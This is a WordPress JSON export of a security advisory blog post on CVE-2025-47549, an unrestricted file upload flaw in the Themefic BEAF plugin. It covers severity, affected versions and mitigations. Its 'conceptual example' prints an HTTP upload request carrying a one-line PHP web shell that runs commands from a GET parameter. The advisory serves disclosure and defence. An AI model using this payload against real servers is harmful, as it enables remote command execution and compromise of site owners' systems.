{"id":38046,"date":"2025-05-14T10:47:44","date_gmt":"2025-05-14T10:47:44","guid":{"rendered":""},"modified":"2025-05-19T05:54:22","modified_gmt":"2025-05-19T05:54:22","slug":"cve-2025-47549-critical-unrestricted-file-upload-vulnerability-in-themefic-beaf","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-47549-critical-unrestricted-file-upload-vulnerability-in-themefic-beaf\/","title":{"rendered":"<strong>CVE-2025-47549: Critical Unrestricted File Upload Vulnerability in Themefic BEAF<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>We are addressing a critical vulnerability (CVE-2025-47549) that affects the Themefic BEAF. This vulnerability allows for the unrestricted uploading of a file with a dangerous type, specifically permitting a malicious actor to upload a Web Shell to a Web Server. It&#8217;s a significant issue that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-47670-linux-kernel-vulnerability-threatens-system-compromise\/\"  data-wpil-monitor-id=\"58089\">threatens the integrity and security of any system<\/a> running on the affected versions of BEAF. Given the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4050-heap-corruption-in-google-chrome-devtools-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"43097\">potential for system<\/a> compromise and data leakage, immediate attention and remediation are necessary.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-47549<br \/>\nSeverity: Critical (9.1 CVSS score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4372-webaudio-heap-corruption-in-google-chrome-a-potential-gateway-to-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"43824\">System compromise and data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-90680399\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Themefic BEAF | Up to 4.6.10<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>An attacker exploits this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-13418-critical-arbitrary-file-upload-vulnerability-in-multiple-wordpress-plugins-and-themes\/\"  data-wpil-monitor-id=\"42925\">vulnerability by uploading a file<\/a> with a dangerous type, such as a web shell, to the server. A web shell allows the attacker to run commands <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-24522-unauthenticated-remote-access-to-node-red-server-in-kunbus-revolution-pi-os-bookworm\/\"  data-wpil-monitor-id=\"42785\">remotely on the compromised server<\/a>, giving them the capability to perform a wide range of malicious actions. This vulnerability exists due to inadequate input validation and sanitization of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-11617-arbitrary-file-upload-vulnerability-in-envolve-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"44970\">file<\/a> upload functionality in Themefic BEAF.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3993030070\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here is a conceptual example of how the vulnerability might be <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46625-root-shell-access-exploit-in-tenda-rx2-pro-router\/\"  data-wpil-monitor-id=\"42905\">exploited using an HTTP request to upload a web shell:<\/a><\/p>\n<pre><code class=\"\" data-line=\"\">POST \/upload_file HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;shell.php&quot;\nContent-Type: application\/x-php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, `shell.php` is the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4279-critical-arbitrary-file-upload-vulnerability-in-wordpress-external-image-replace-plugin\/\"  data-wpil-monitor-id=\"43211\">uploaded web shell file<\/a> that, when executed, runs the command specified in the `cmd` GET parameter.<\/p>\n<p><strong>Mitigation and Recommendations<\/strong><\/p>\n<p>The first line of defense against this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46337-a-critical-sql-injection-vulnerability-in-adodb-php-database-class-library\/\"  data-wpil-monitor-id=\"42774\">critical vulnerability<\/a> is to apply the vendor patch as soon as it&#8217;s available. If the patch is not yet ready, a temporary mitigation can be achieved by using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor, detect, and block malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-0984-critical-file-upload-and-xss-vulnerability-in-netoloji-software-e-flow\/\"  data-wpil-monitor-id=\"43953\">file uploads<\/a>. Additionally, it&#8217;s recommended to regularly update the system and applications to the latest <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2775-unauthenticated-xxe-vulnerability-in-sysaid-on-prem-versions-leading-to-administrator-account-takeover\/\"  data-wpil-monitor-id=\"43823\">versions to help prevent exploitation from other known vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview We are addressing a critical vulnerability (CVE-2025-47549) that affects the Themefic BEAF. This vulnerability allows for the unrestricted uploading of a file with a dangerous type, specifically permitting a malicious actor to upload a Web Shell to a Web Server. It&#8217;s a significant issue that threatens the integrity and security of any system running [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-38046","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38046","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=38046"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38046\/revisions"}],"predecessor-version":[{"id":51826,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/38046\/revisions\/51826"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=38046"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=38046"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=38046"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=38046"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=38046"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=38046"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=38046"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=38046"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=38046"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}